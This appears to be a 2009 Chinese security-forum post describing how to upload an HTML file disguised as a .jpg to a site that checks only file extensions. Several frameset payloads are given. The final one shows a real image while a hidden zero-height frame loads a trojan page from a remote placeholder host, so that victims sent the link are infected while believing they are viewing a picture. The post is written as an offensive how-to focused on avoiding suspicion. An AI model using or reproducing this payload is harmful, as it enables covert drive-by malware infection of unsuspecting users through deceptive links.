查看完整版本: [-- 图片上传式欺骗攻击 --]

秋无痕论坛 -> 『系统安全综合区』 -> 图片上传式欺骗攻击 [打印本页] 登录 -> 注册 -> 回复主题 -> 发表主题

金金 2009-02-16 20:05

适合读者:脚本攻击爱好者、ASP程序员
前置知识:无
图片上传式欺骗攻击
文/ 闫进
这个漏洞适用于所有只检查上传文件格式的程序,把图片改成HTML代码,上传后可执行做转向,发现的过程是我今天看了一下某门户网站的BBS上做了过滤,上传失败,然后回到主页上,发现是动力系统,于是注册了一个帐号,然后到个人管理里,看到添加文章里面 能上传、文件,于是开始想利用的过程。我开始的构思是直接上传这样一个程序。
其实这样有很大一个漏洞,别人打开这些JPG网页后,图片显示不出来,自然别人就会起疑心,想到了前段时间的CHM网页木马的制作的方法,变相的利用它应该能达到这样的效果吧?假如代码为:
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm"  frameborder="no" scrolling="no"   noresize
marginwidth="0" margingheight="0">
</frameset>
这样的一个index.htm,上传后发现失败,直接显示原代码。于是在代码的开头结尾加了如下的代码:
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm"  frameborder="no" scrolling="no"   noresize
marginwidth="0" margingheight="0">
</frameset></html>
测试后页面已经成了一个木马页面,但是这个木马一定要有个CHM的人才行,网站不可能专门提供你上传这个类型的文件吧?!于是想到远程的调用,后把Index.jpg改为代码:
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize

marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm"  frameborder="no"

scrolling="no"   noresize marginwidth="0" margingheight="0">
</frameset></html>
上传后发现 ,防火墙成功提示病毒,但是别人打开这个页面的时候直接是大红XX,有脑子的人都会怀疑。于是想到把这个页面打开后看成一个图片,接着直接把上面的代码改成:
<html>
<frameset rows="444,0" cols="*">
<frame src="/UpLoadFiles/NewsPhoto/omasuiai.jpg" framborder="no"
scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm"  frameborder="no"
scrolling="no"   noresize marginwidth="0" margingheight="0">
</frameset></html>
这样打开这个页面的时候正常显示图片,木马也能中了!前提是要把这个图片页面发给别人,例如:www.***.com/UpLoadFiles/NewsPhoto/08aXXXXX.jpg,对方打开后还以为是看到了一张图片,其实他已经中木马了,再怎么说这个也是上传的图片,而且可以上传到自己的站里,不会有人怀疑的!


查看完整版本: [-- 图片上传式欺骗攻击 --] [-- top --]



Powered by PHPWind v7.3.2 Code © 2003-08 PHPWind
Time 0.022001 second(s),query:2 Gzip enabled

You can contact us